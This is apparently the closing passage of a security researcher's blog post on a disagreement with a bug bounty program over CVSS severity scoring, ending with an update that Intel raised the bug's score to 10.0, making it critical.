It is crucial for hackers and bug bounty programs to have a common baseline for impact measurement and discussion based thereon. I also acknowledge that there is a bit of play space regarding CVSS interpretation, but fundamentally ignoring core definitions of the underlying framework essentially means breaking trust with hackers.
Update 24-03-2023
Intel finally updated the CVSS score of this bug to 10.0 turning it into a critical.